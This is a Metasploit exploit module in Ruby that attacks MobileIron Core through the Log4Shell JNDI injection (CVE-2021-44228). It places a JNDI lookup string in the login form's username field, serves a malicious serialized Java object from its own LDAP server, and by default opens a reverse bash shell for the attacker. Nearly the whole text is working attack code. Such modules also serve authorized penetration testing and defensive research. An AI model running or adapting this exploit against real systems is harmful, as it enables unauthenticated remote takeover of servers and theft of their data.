##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user.
This module will start an LDAP server that the target will need to connect to.
},
'Author' => [
'Spencer McIntyre', # JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'rwincey', # discovered log4shell vector in MobileIron
'jbaines-r7' # wrote this module
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],
[ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]
],
'DisclosureDate' => '2021-12-12',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SRVPORT' => 389,
'WfsDelay' => 30
},
'Targets' => [
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end
def wait_until(&block)
datastore['WfsDelay'].times do
break if block.call
sleep(1)
end
end
def check
validate_configuration!
vprint_status('Attempting to trigger the jndi callback...')
start_service
res = trigger
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
wait_until { @search_received }
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
ensure
cleanup_service
end
def build_ldap_search_response_payload
return [] if @search_received
@search_received = true
return [] unless @exploiting
print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('CommonsBeanutils1')
end
def trigger
@search_received = false
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),
'headers' => {
'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"
},
'encode' => false,
'vars_post' => {
'j_username' => log4j_jndi_string,
'j_password' => Rex::Text.rand_text_alphanumeric(8),
'logincontext' => 'employee'
}
)
end
def exploit
validate_configuration!
@exploiting = true
start_service
res = trigger
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302
wait_until { @search_received && (!handler_enabled? || session_created?) }
handler
end
end
Polish
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